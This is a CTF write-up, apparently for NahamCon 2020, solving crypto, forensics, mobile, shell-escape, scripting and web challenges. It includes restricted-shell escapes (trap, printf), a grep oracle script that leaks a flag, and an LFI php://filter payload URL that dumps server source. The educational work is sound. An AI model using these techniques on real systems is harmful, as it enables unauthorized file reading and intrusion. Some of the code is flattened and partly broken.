but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
